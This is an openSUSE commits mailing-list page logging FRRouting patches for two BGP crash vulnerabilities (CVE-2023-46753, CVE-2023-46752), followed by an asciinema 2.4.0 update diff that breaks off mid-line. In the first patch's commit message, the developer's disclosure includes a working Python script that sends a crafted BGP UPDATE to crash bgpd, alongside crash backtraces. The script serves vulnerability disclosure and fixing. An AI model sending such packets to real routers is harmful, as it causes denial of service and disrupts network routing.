October 2023 - openSUSE Commits - openSUSE Mailing Lists

commit frr for openSUSE:Factory
by Source-Sync 31 Oct '23

31 Oct '23

Script 'mail_helper' called by obssrc Hello community, here is the log from the commit of package frr for openSUSE:Factory checked in at 2023-10-31 20:26:24 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/frr (Old) and /work/SRC/openSUSE:Factory/.frr.new.17445 (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "frr" Tue Oct 31 20:26:24 2023 rev:27 rq:1121416 version:8.4 Changes: -------- --- /work/SRC/openSUSE:Factory/frr/frr.changes 2023-09-15 22:11:21.353751020 +0200 +++ /work/SRC/openSUSE:Factory/.frr.new.17445/frr.changes 2023-10-31 20:26:45.176261043 +0100 @@ -1,0 +2,10 @@ +Mon Oct 30 12:38:21 UTC 2023 - Marius Tomaschewski <mt(a)suse.com> + +- Apply upstream fix for a crash due to a crafted BGP UPDATE message + (CVE-2023-46753,bsc#1216626,https://github.com/FRRouting/frr/pull/14655/comm…). + [+ 0013-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch] +- Apply upstream fix for a crash due to mishandled malformed + MP_REACH_NLRI data (CVE-2023-46752,bsc#1216627,https://github.com/FRRouting/frr/pull/14645/comm…). + [+ 0014-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch] + +------------------------------------------------------------------- New: ---- 0013-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch 0014-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ frr.spec ++++++ --- /var/tmp/diff_new_pack.o9FId1/_old 2023-10-31 20:26:46.004291456 +0100 +++ /var/tmp/diff_new_pack.o9FId1/_new 2023-10-31 20:26:46.008291603 +0100 @@ -51,6 +51,8 @@ Patch10: 0010-bgpd-Use-treat-as-withdraw-for-tunnel-encapsulation-.patch Patch11: 0011-babeld-fix-11808-to-avoid-infinite-loops.patch Patch12: 0012-bgpd-Limit-flowspec-to-no-attribute-means-a-implicit.patch +Patch13: 0013-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch +Patch14: 0014-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch BuildRequires: autoconf BuildRequires: automake BuildRequires: bison >= 2.7 @@ -200,6 +202,8 @@ %patch10 -p1 %patch11 -p1 %patch12 -p1 +%patch13 -p1 +%patch14 -p1 %build # GCC LTO objects must be "fat" to avoid assembly errors ++++++ 0013-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch ++++++ From 1fdbfffbe343ad63c32ff37998300b0b4f67d8fb Mon Sep 17 00:00:00 2001 From: Donatas Abraitis <donatas(a)opensourcerouting.org> Date: Mon, 23 Oct 2023 23:34:10 +0300 Subject: [PATCH] bgpd: Check mandatory attributes more carefully for UPDATE message Upstream: yes References: CVE-2023-46753,bsc#1216626,https://github.com/FRRouting/frr/pull/14655/comm… If we send a crafted BGP UPDATE message without mandatory attributes, we do not check if the length of the path attributes is zero or not. We only check if attr->flag is at least set or not. Imagine we send only unknown transit attribute, then attr->flag is always 0. Also, this is true only if graceful-restart capability is received. A crash: ``` bgpd[7834]: [TJ23Y-GY0RH] 127.0.0.1 Unknown attribute is received (type 31, length 16) bgpd[7834]: [PCFFM-WMARW] 127.0.0.1(donatas-pc) rcvd UPDATE wlen 0 attrlen 20 alen 17 BGP[7834]: Received signal 11 at 1698089639 (si_addr 0x0, PC 0x55eefd375b4a); aborting... BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_backtrace_sigsafe+0x6d) [0x7f3205ca939d] BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_signal+0xf3) [0x7f3205ca9593] BGP[7834]: /usr/local/lib/libfrr.so.0(+0xf5181) [0x7f3205cdd181] BGP[7834]: /lib/x86_64-linux-gnu/libpthread.so.0(+0x12980) [0x7f3204ff3980] BGP[7834]: /usr/lib/frr/bgpd(+0x18ab4a) [0x55eefd375b4a] BGP[7834]: /usr/local/lib/libfrr.so.0(route_map_apply_ext+0x310) [0x7f3205cd1290] BGP[7834]: /usr/lib/frr/bgpd(+0x163610) [0x55eefd34e610] BGP[7834]: /usr/lib/frr/bgpd(bgp_update+0x9a5) [0x55eefd35c1d5] BGP[7834]: /usr/lib/frr/bgpd(bgp_nlri_parse_ip+0xb7) [0x55eefd35e867] BGP[7834]: /usr/lib/frr/bgpd(+0x1555e6) [0x55eefd3405e6] BGP[7834]: /usr/lib/frr/bgpd(bgp_process_packet+0x747) [0x55eefd345597] BGP[7834]: /usr/local/lib/libfrr.so.0(event_call+0x83) [0x7f3205cef4a3] BGP[7834]: /usr/local/lib/libfrr.so.0(frr_run+0xc0) [0x7f3205ca10a0] BGP[7834]: /usr/lib/frr/bgpd(main+0x409) [0x55eefd2dc979] ``` Sending: ``` import socket import time OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02" b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02" b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00" b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d" b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01" b"\x80\x00\x00\x00") KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" b"\xff\xff\xff\xff\xff\xff\x00\x13\x04") UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff003c0200000014ff1f001000040146464646460004464646464646664646f50d05800100010200ffff000000") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.2', 179)) s.send(OPEN) data = s.recv(1024) s.send(KEEPALIVE) data = s.recv(1024) s.send(UPDATE) data = s.recv(1024) time.sleep(1000) s.close() ``` Reported-by: Iggy Frankovic <iggyfran(a)amazon.com> Signed-off-by: Donatas Abraitis <donatas(a)opensourcerouting.org> (cherry picked from commit d8482bf011cb2b173e85b65b4bf3d5061250cdb9) Signed-off-by: Marius Tomaschewski <mt(a)suse.com> diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c index 188393b752..5c028c854c 100644 --- a/bgpd/bgp_attr.c +++ b/bgpd/bgp_attr.c @@ -3098,13 +3098,15 @@ bgp_attr_unknown(struct bgp_attr_parser_args *args) } /* Well-known attribute check. */ -static int bgp_attr_check(struct peer *peer, struct attr *attr) +static int bgp_attr_check(struct peer *peer, struct attr *attr, + bgp_size_t length) { uint8_t type = 0; /* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an * empty UPDATE. */ - if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag) + if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag && + !length) return BGP_ATTR_PARSE_PROCEED; /* "An UPDATE message that contains the MP_UNREACH_NLRI is not required @@ -3156,7 +3158,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr, enum bgp_attr_parse_ret ret; uint8_t flag = 0; uint8_t type = 0; - bgp_size_t length; + bgp_size_t length = 0; uint8_t *startp, *endp; uint8_t *attr_endp; uint8_t seen[BGP_ATTR_BITMAP_SIZE]; @@ -3478,7 +3480,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr, } /* Check all mandatory well-known attributes are present */ - ret = bgp_attr_check(peer, attr); + ret = bgp_attr_check(peer, attr, length); if (ret < 0) goto done; -- 2.35.3 ++++++ 0014-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch ++++++ From f2bc4e6847b222ed8fbd460fbba9aa69d1bf8d0e Mon Sep 17 00:00:00 2001 From: Donatas Abraitis <donatas(a)opensourcerouting.org> Date: Fri, 20 Oct 2023 17:49:18 +0300 Subject: [PATCH] bgpd: Handle MP_REACH_NLRI malformed packets with session reset Upstream: yes References: CVE-2023-46752,bsc#1216627,https://github.com/FRRouting/frr/pull/14645/comm… Avoid crashing bgpd. ``` (gdb) bgp_mp_reach_parse (args=<optimized out>, mp_update=0x7fffffffe140) at bgpd/bgp_attr.c:2341 2341 stream_get(&attr->mp_nexthop_global, s, IPV6_MAX_BYTELEN); (gdb) stream_get (dst=0x7fffffffe1ac, s=0x7ffff0006e80, size=16) at lib/stream.c:320 320 { (gdb) 321 STREAM_VERIFY_SANE(s); (gdb) 323 if (STREAM_READABLE(s) < size) { (gdb) 34 return __builtin___memcpy_chk (__dest, __src, __len, __bos0 (__dest)); (gdb) Thread 1 "bgpd" received signal SIGSEGV, Segmentation fault. 0x00005555556e37be in route_set_aspath_prepend (rule=0x555555aac0d0, prefix=0x7fffffffe050, object=0x7fffffffdb00) at bgpd/bgp_routemap.c:2282 2282 if (path->attr->aspath->refcnt) (gdb) ``` With the configuration: ``` neighbor 127.0.0.1 remote-as external neighbor 127.0.0.1 passive neighbor 127.0.0.1 ebgp-multihop neighbor 127.0.0.1 disable-connected-check neighbor 127.0.0.1 update-source 127.0.0.2 neighbor 127.0.0.1 timers 3 90 neighbor 127.0.0.1 timers connect 1 address-family ipv4 unicast redistribute connected neighbor 127.0.0.1 default-originate neighbor 127.0.0.1 route-map RM_IN in exit-address-family ! route-map RM_IN permit 10 set as-path prepend 200 exit ``` Reported-by: Iggy Frankovic <iggyfran(a)amazon.com> Signed-off-by: Donatas Abraitis <donatas(a)opensourcerouting.org> (cherry picked from commit b08afc81c60607a4f736f418f2e3eb06087f1a35) Signed-off-by: Marius Tomaschewski <mt(a)suse.com> diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c index 5c028c854c..42a2342f6f 100644 --- a/bgpd/bgp_attr.c +++ b/bgpd/bgp_attr.c @@ -2224,7 +2224,7 @@ int bgp_mp_reach_parse(struct bgp_attr_parser_args *args, mp_update->afi = afi; mp_update->safi = safi; - return BGP_ATTR_PARSE_EOR; + return bgp_attr_malformed(args, BGP_NOTIFY_UPDATE_MAL_ATTR, 0); } mp_update->afi = afi; @@ -3405,10 +3405,6 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr, goto done; } - if (ret == BGP_ATTR_PARSE_EOR) { - goto done; - } - if (ret == BGP_ATTR_PARSE_ERROR) { flog_warn(EC_BGP_ATTRIBUTE_PARSE_ERROR, "%s: Attribute %s, parse error", peer->host, diff --git a/bgpd/bgp_attr.h b/bgpd/bgp_attr.h index 4963ea64d0..23767153b2 100644 --- a/bgpd/bgp_attr.h +++ b/bgpd/bgp_attr.h @@ -382,7 +382,6 @@ enum bgp_attr_parse_ret { /* only used internally, send notify + convert to BGP_ATTR_PARSE_ERROR */ BGP_ATTR_PARSE_ERROR_NOTIFYPLS = -3, - BGP_ATTR_PARSE_EOR = -4, }; struct bpacket_attr_vec_arr; diff --git a/bgpd/bgp_packet.c b/bgpd/bgp_packet.c index 1ef421028f..20c642190b 100644 --- a/bgpd/bgp_packet.c +++ b/bgpd/bgp_packet.c @@ -2027,8 +2027,7 @@ static int bgp_update_receive(struct peer *peer, bgp_size_t size) * Non-MP IPv4/Unicast EoR is a completely empty UPDATE * and MP EoR should have only an empty MP_UNREACH */ - if ((!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0) - || (attr_parse_ret == BGP_ATTR_PARSE_EOR)) { + if (!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0) { afi_t afi = 0; safi_t safi; struct graceful_restart_info *gr_info; @@ -2049,9 +2048,6 @@ static int bgp_update_receive(struct peer *peer, bgp_size_t size) && nlris[NLRI_MP_WITHDRAW].length == 0) { afi = nlris[NLRI_MP_WITHDRAW].afi; safi = nlris[NLRI_MP_WITHDRAW].safi; - } else if (attr_parse_ret == BGP_ATTR_PARSE_EOR) { - afi = nlris[NLRI_MP_UPDATE].afi; - safi = nlris[NLRI_MP_UPDATE].safi; } if (afi && peer->afc[afi][safi]) { -- 2.35.3

1 0

commit asciinema for openSUSE:Factory
by Source-Sync 31 Oct '23

31 Oct '23

Script 'mail_helper' called by obssrc Hello community, here is the log from the commit of package asciinema for openSUSE:Factory checked in at 2023-10-31 20:26:23 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/asciinema (Old) and /work/SRC/openSUSE:Factory/.asciinema.new.17445 (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "asciinema" Tue Oct 31 20:26:23 2023 rev:11 rq:1121415 version:2.4.0 Changes: -------- --- /work/SRC/openSUSE:Factory/asciinema/asciinema.changes 2023-08-30 10:23:33.482732907 +0200 +++ /work/SRC/openSUSE:Factory/.asciinema.new.17445/asciinema.changes 2023-10-31 20:26:44.352230776 +0100 @@ -1,0 +2,14 @@ +Tue Oct 24 19:16:22 UTC 2023 - Andreas Stieger <andreas.stieger(a)gmx.de> + +- update to 2.4.0: + * When recording without file arg we now ask whether to save, + upload or discard the recording + * Added capture of terminal resize events + * Fixed blocking write error when PTY master is not ready + * Fixed "broken pipe" errors when piping certain commands during + recording + * Fixed crash during playback of cast files with trailing blank + line +- Requires Python >= 3.7 + +------------------------------------------------------------------- Old: ---- asciinema-2.3.0.tar.gz New: ---- asciinema-2.4.0.tar.gz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ asciinema.spec ++++++ --- /var/tmp/diff_new_pack.2Mx9Jj/_old 2023-10-31 20:26:44.960253109 +0100 +++ /var/tmp/diff_new_pack.2Mx9Jj/_new 2023-10-31 20:26:44.960253109 +0100 @@ -18,25 +18,27 @@ %global pythons python3 Name: asciinema -Version: 2.3.0 +Version: 2.4.0 Release: 0 Summary: Terminal session recorder License: GPL-3.0-or-later Group: Productivity/Networking/Other URL: https://asciinema.org Source: https://github.com/asciinema/asciinema/archive/v%{version}.tar.gz#/%{name}-… +BuildRequires: %{python_module pip} +BuildRequires: %{python_module pytest} +BuildRequires: %{python_module setuptools} +BuildRequires: %{python_module wheel} BuildRequires: fdupes BuildRequires: python-rpm-macros -BuildRequires: python3-pip -BuildRequires: python3-setuptools -BuildRequires: python3-wheel +BuildRequires: python3-base >= 3.7 BuildArch: noarch %description Record of terminal sessions and sharing them on the web. %prep -%setup -q +%autosetup -p1 %build %pyproject_wheel @@ -49,6 +51,9 @@ rm -R %{buildroot}%{_datadir}/doc/%{name} +%check +%pytest -v + %files %license LICENSE %doc CHANGELOG.md CODE_OF_CONDUCT.md CONTRIBUTING.md README.md ++++++ asciinema-2.3.0.tar.gz -> asciinema-2.4.0.tar.gz ++++++ Binary files old/asciinema-2.3.0/.github/sponsor-logos/dashcam/logo-on-dark.png and new/asciinema-2.4.0/.github/sponsor-logos/dashcam/logo-on-dark.png differ Binary files old/asciinema-2.3.0/.github/sponsor-logos/dashcam/logo-on-light.png and new/asciinema-2.4.0/.github/sponsor-logos/dashcam/logo-on-light.png differ diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/asciinema-2.3.0/.github/workflows/asciinema.yml new/asciinema-2.4.0/.github/workflows/asciinema.yml --- old/asciinema-2.3.0/.github/workflows/asciinema.yml 2023-07-05 15:51:16.000000000 +0200 +++ new/asciinema-2.4.0/.github/workflows/asciinema.yml 2023-10-23 16:06:50.000000000 +0200 @@ -10,7 +10,7 @@ runs-on: ubuntu-latest steps: - name: checkout asciinema - uses: actions/checkout@v3 + uses: actions/checkout@v4 - name: setup Python uses: actions/setup-python@v4 with: @@ -42,7 +42,7 @@ TERM: dumb steps: - name: checkout Asciinema - uses: actions/checkout@v3 + uses: actions/checkout@v4 - name: setup Python uses: actions/setup-python@v4 with: @@ -58,7 +58,6 @@ distros: - alpine - arch - - centos - debian - fedora - ubuntu @@ -66,15 +65,15 @@ steps: - name: Set up Docker buildx id: buildx - uses: docker/setup-buildx-action@v2 + uses: docker/setup-buildx-action@v3 - name: Authenticate to GHCR - uses: docker/login-action@v2 + uses: docker/login-action@v3 with: registry: ghcr.io username: "${{ github.actor }}" password: "${{ secrets.GITHUB_TOKEN }}" - name: "Build ${{ matrix.distros }} image" - uses: docker/build-push-action@v4 + uses: docker/build-push-action@v5 with: file: "tests/distros/Dockerfile.${{ matrix.distros }}" tags: | @@ -88,7 +87,6 @@ distros: - alpine - arch - - centos - debian - fedora - ubuntu @@ -102,7 +100,7 @@ options: "--interactive --tty --user=1001:121" steps: - name: checkout Asciinema - uses: actions/checkout@v3 + uses: actions/checkout@v4 - name: run integration tests env: TERM: dumb diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/asciinema-2.3.0/.github/workflows/pre-commit.yml new/asciinema-2.4.0/.github/workflows/pre-commit.yml --- old/asciinema-2.3.0/.github/workflows/pre-commit.yml 2023-07-05 15:51:16.000000000 +0200 +++ new/asciinema-2.4.0/.github/workflows/pre-commit.yml 2023-10-23 16:06:50.000000000 +0200 @@ -7,7 +7,7 @@ pre-commit: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - uses: actions/setup-python@v4 with: python-version: "3.10" diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/asciinema-2.3.0/CHANGELOG.md new/asciinema-2.4.0/CHANGELOG.md --- old/asciinema-2.3.0/CHANGELOG.md 2023-07-05 15:51:16.000000000 +0200 +++ new/asciinema-2.4.0/CHANGELOG.md 2023-10-23 16:06:50.000000000 +0200 @@ -1,5 +1,13 @@ # asciinema changelog +## 2.4.0 (2023-10-23) + +* When recording without file arg we now ask whether to save, upload or discard the recording (#576) +* Added capture of terminal resize events (#565) +* Fixed blocking write error when PTY master is not ready (#569) (thanks @Low-power!) +* Fixed "broken pipe" errors when piping certain commands during recording (#369) (thanks @Low-power!) +* Fixed crash during playback of cast files with trailing blank line (#577) + ## 2.3.0 (2023-07-05) * Added official support for Python 3.11 diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/asciinema-2.3.0/CODE_OF_CONDUCT.md new/asciinema-2.4.0/CODE_OF_CONDUCT.md --- old/asciinema-2.3.0/CODE_OF_CONDUCT.md 2023-07-05 15:51:16.000000000 +0200 +++ new/asciinema-2.4.0/CODE_OF_CONDUCT.md 2023-10-23 16:06:50.000000000 +0200 @@ -55,7 +55,7 @@ ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be -reported by contacting the project team at support(a)asciinema.org. All +reported by contacting the project team at admin(a)asciinema.org. All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/asciinema-2.3.0/CONTRIBUTING.md new/asciinema-2.4.0/CONTRIBUTING.md --- old/asciinema-2.3.0/CONTRIBUTING.md 2023-07-05 15:51:16.000000000 +0200 +++ new/asciinema-2.4.0/CONTRIBUTING.md 2023-10-23 16:06:50.000000000 +0200 @@ -42,21 +42,14 @@ can simply open a separate issue for a discussion or join #asciinema IRC channel on Libera.Chat. -## Asking for help - -GitHub issue tracker is not a support forum. - -If you need help then either join #asciinema IRC channel on Libera.Chat or -drop us an email at <support(a)asciinema.org>. - ## Reporting security issues If you found a security issue in asciinema please contact us at -support(a)asciinema.org. For the benefit of all asciinema users please **do +admin(a)asciinema.org. For the benefit of all asciinema users please **do not** publish details of the vulnerability in a GitHub issue. The PGP key below (1eb33a8760dec34b) can be used when sending encrypted email -to or verifying responses from support(a)asciinema.org. +to or verifying responses from admin(a)asciinema.org. ```Public Key -----BEGIN PGP PUBLIC KEY BLOCK----- diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/asciinema-2.3.0/Makefile new/asciinema-2.4.0/Makefile --- old/asciinema-2.3.0/Makefile 2023-07-05 15:51:16.000000000 +0200 +++ new/asciinema-2.4.0/Makefile 2023-10-23 16:06:50.000000000 +0200 @@ -55,11 +55,13 @@ .PHONY: push push: .pip build - python3 -m twine upload dist/* + . $(VIRTUAL_ENV)/bin/activate \ + && python3 -m twine upload dist/* .PHONY: push.test push.test: .pip build - python3 -m twine upload --repository testpypi dist/* + . $(VIRTUAL_ENV)/bin/activate \ + && python3 -m twine upload --repository testpypi dist/* .PHONY: clean diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/asciinema-2.3.0/README.md new/asciinema-2.4.0/README.md --- old/asciinema-2.3.0/README.md 2023-07-05 15:51:16.000000000 +0200 +++ new/asciinema-2.4.0/README.md 2023-10-23 16:06:50.000000000 +0200 @@ -9,6 +9,14 @@ [![demo](https://asciinema.org/a/335480.svg)](https://asciinema.org/a/335480?autoplay=1) +asciinema _[as-kee-nuh-muh]_ is a free and open source solution for recording +terminal sessions and sharing them on the web. + +Shout-out to our Platinum [sponsors](https://github.com/sponsors/ku1ik), whose +financial support helps keep the project alive: + +[<img src="./.github/sponsor-logos/dashcam/logo-on-light.png" width="200" />](https://dashcam.io?utm_source=asciinemagithub) + ## Quick intro asciinema lets you easily record terminal sessions and replay @@ -70,7 +78,8 @@ sent anywhere without your consent. These are the basics, but there's much more you can do. The following sections -cover installation, usage and hosting of the recordings in more detail. +cover installation, usage and hosting of the recordings in more detail. Also, +checkout [agg](https://github.com/asciinema/agg) if you're interested in GIF generation. ## Installation @@ -502,6 +511,13 @@ > asciinema versions prior to 1.1 used `$HOME/.asciinema`. If you have it > there you should `mv $HOME/.asciinema $HOME/.config/asciinema`. +## Sponsors + +asciinema is sponsored by: + +- [**Dashcam**](https://dashcam.io?utm_source=asciinemagithub) +- [Brightbox](https://www.brightbox.com/) + ## Consulting I offer consulting services for asciinema project. See https://asciinema.org/consulting for more information. diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/asciinema-2.3.0/asciinema/__init__.py new/asciinema-2.4.0/asciinema/__init__.py --- old/asciinema-2.3.0/asciinema/__init__.py 2023-07-05 15:51:16.000000000 +0200 +++ new/asciinema-2.4.0/asciinema/__init__.py 2023-10-23 16:06:50.000000000 +0200 @@ -1,10 +1,10 @@ import sys __author__ = "Marcin Kulik" -__version__ = "2.3.0" +__version__ = "2.4.0" -if sys.version_info < (3, 6): - raise ImportError("Python < 3.6 is unsupported.") +if sys.version_info < (3, 7): + raise ImportError("Python < 3.7 is unsupported.") # pylint: disable=wrong-import-position from typing import Any, Optional diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/asciinema-2.3.0/asciinema/asciicast/raw.py new/asciinema-2.4.0/asciinema/asciicast/raw.py --- old/asciinema-2.3.0/asciinema/asciicast/raw.py 2023-07-05 15:51:16.000000000 +0200 +++ new/asciinema-2.4.0/asciinema/asciicast/raw.py 2023-10-23 16:06:50.000000000 +0200 @@ -1,7 +1,7 @@ import os import sys from os import path -from typing import Any, Callable, Optional +from typing import Any, Callable, Optional, Tuple from ..file_writer import file_writer @@ -44,13 +44,16 @@ def write_stdout(self, _ts: float, data: Any) -> None: self._write(data) - # pylint: disable=no-self-use def write_stdin(self, ts: float, data: Any) -> None: pass def write_marker(self, ts: float) -> None: pass + def write_resize(self, ts: float, size: Tuple[int, int]) -> None: + cols, rows = size + self._write(f"\x1b[8;{rows};{cols}t".encode("utf-8")) + # pylint: disable=consider-using-with def _open_file(self) -> None: if self.path == "-": diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/asciinema-2.3.0/asciinema/asciicast/v2.py new/asciinema-2.4.0/asciinema/asciicast/v2.py --- old/asciinema-2.3.0/asciinema/asciicast/v2.py 2023-07-05 15:51:16.000000000 +0200 +++ new/asciinema-2.4.0/asciinema/asciicast/v2.py 2023-10-23 16:06:50.000000000 +0200 @@ -12,6 +12,7 @@ List, Optional, TextIO, + Tuple, Union, ) @@ -36,9 +37,13 @@ ) -> Generator[List[Any], None, None]: if type_ is None: for line in self.__file: + if line == "\n": + break yield json.loads(line) else: for line in self.__file: + if line == "\n": + break event = json.loads(line) if event[1] == type_: yield event @@ -148,6 +153,10 @@ def write_marker(self, ts: float) -> None: self.__write_event(ts, "m", "") + def write_resize(self, ts: float, size: Tuple[int, int]) -> None: + cols, rows = size + self.__write_event(ts, "r", f"{cols}x{rows}") + # pylint: disable=consider-using-with def _open_file(self) -> None: if self.path == "-": diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/asciinema-2.3.0/asciinema/commands/command.py new/asciinema-2.4.0/asciinema/commands/command.py --- old/asciinema-2.3.0/asciinema/commands/command.py 2023-07-05 15:51:16.000000000 +0200 +++ new/asciinema-2.4.0/asciinema/commands/command.py 2023-10-23 16:06:50.000000000 +0200 @@ -17,6 +17,7 @@ end: str = "\r\n", color: Optional[int] = None, force: bool = False, + flush: bool = False, ) -> None: if not self.quiet or force: if color is not None and os.isatty(sys.stderr.fileno()): @@ -24,6 +25,9 @@ print(text, file=sys.stderr, end=end) + if flush: + sys.stderr.flush() + def print_info(self, text: str) -> None: self.print(f"asciinema: {text}", color=2) diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/asciinema-2.3.0/asciinema/commands/record.py new/asciinema-2.4.0/asciinema/commands/record.py --- old/asciinema-2.3.0/asciinema/commands/record.py 2023-07-05 15:51:16.000000000 +0200 +++ new/asciinema-2.4.0/asciinema/commands/record.py 2023-10-23 16:06:50.000000000 +0200 @@ -41,7 +41,7 @@ # pylint: disable=too-many-return-statements # pylint: disable=too-many-statements def execute(self) -> int: - upload = False + interactive = False append = self.append if self.filename == "": @@ -51,7 +51,7 @@ ) return 1 self.filename = _tmp_path() - upload = True + interactive = True if self.filename == "-": if sys.stdout.isatty(): @@ -150,18 +150,33 @@ self.print_info("recording finished") - if upload: + if interactive: if not self.assume_yes: - self.print_info( - f"press <enter> to upload to {self.api.hostname()}" - ", <ctrl-c> to save locally" - ) - try: - sys.stdin.readline() - except KeyboardInterrupt: - self.print("\r", end="") - self.print_info(f"asciicast saved to {self.filename}") - return 0 + while True: + self.print( + f"(\x1b[1ms\x1b[0m)ave locally, (\x1b[1mu\x1b[0m)pload to {self.api.hostname()}, (\x1b[1md\x1b[0m)iscard\r\n[s,u,d]? ", + end="", + force=True, + flush=True, + ) + + try: + answer = sys.stdin.readline().strip().lower() + except KeyboardInterrupt: + self.print("") + answer = "s" + + if answer == "s" or answer == "save": + self.print_info(f"asciicast saved to {self.filename}") + return 0 + + elif answer == "u" or answer == "upload": + break + + elif answer == "d" or answer == "discard": + os.remove(self.filename) + self.print_info(f"asciicast discarded") + return 0 try: result, warn = self.api.upload_asciicast(self.filename) diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/asciinema-2.3.0/asciinema/pty_.py new/asciinema-2.4.0/asciinema/pty_.py --- old/asciinema-2.3.0/asciinema/pty_.py 2023-07-05 15:51:16.000000000 +0200 +++ new/asciinema-2.4.0/asciinema/pty_.py 2023-10-23 16:06:50.000000000 +0200 @@ -41,8 +41,14 @@ add_marker_key = key_bindings.get("add_marker") input_data = bytes() - def set_pty_size() -> None: - cols, rows = get_tty_size() + def handle_resize() -> None: + size = get_tty_size() + set_pty_size(size) + assert start_time is not None + writer.write_resize(time.perf_counter() - start_time, size) + + def set_pty_size(size: Tuple[int, int]) -> None: + cols, rows = size buf = array.array("h", [rows, cols, 0, 0]) fcntl.ioctl(pty_fd, termios.TIOCSWINSZ, buf) @@ -149,22 +155,26 @@ if sig in EXIT_SIGNALS: crfds.remove(signal_fd) if sig == signal.SIGWINCH: - set_pty_size() + handle_resize() if pty_fd in wfds: - n = os.write(pty_fd, input_data) - input_data = input_data[n:] + try: + n = os.write(pty_fd, input_data) + input_data = input_data[n:] + except BlockingIOError: + pass pid, pty_fd = pty.fork() if pid == pty.CHILD: + signal.signal(signal.SIGPIPE, signal.SIG_DFL) os.execvpe(command[0], command, env) flags = fcntl.fcntl(pty_fd, fcntl.F_GETFL, 0) | os.O_NONBLOCK fcntl.fcntl(pty_fd, fcntl.F_SETFL, flags) start_time = time.perf_counter() - set_pty_size() + set_pty_size(get_tty_size()) with SignalFD(EXIT_SIGNALS + [signal.SIGWINCH]) as sig_fd: with raw(tty_stdin_fd): diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/asciinema-2.3.0/asciinema/recorder.py new/asciinema-2.4.0/asciinema/recorder.py --- old/asciinema-2.3.0/asciinema/recorder.py 2023-07-05 15:51:16.000000000 +0200 +++ new/asciinema-2.4.0/asciinema/recorder.py 2023-10-23 16:06:50.000000000 +0200 @@ -134,6 +134,9 @@ def write_marker(self, ts: float) -> None: self.enqueue([ts, "m", None]) + def write_resize(self, ts: float, size: Tuple[int, int]) -> None: + self.enqueue([ts, "r", size]) + def run(self) -> None: try: with self.writer as w: @@ -148,6 +151,8 @@ w.write_stdin(self.time_offset + ts, data) elif etype == "m": w.write_marker(self.time_offset + ts) + elif etype == "r": + w.write_resize(self.time_offset + ts, data) except IOError: for event in iter(self.queue.get, None): pass diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 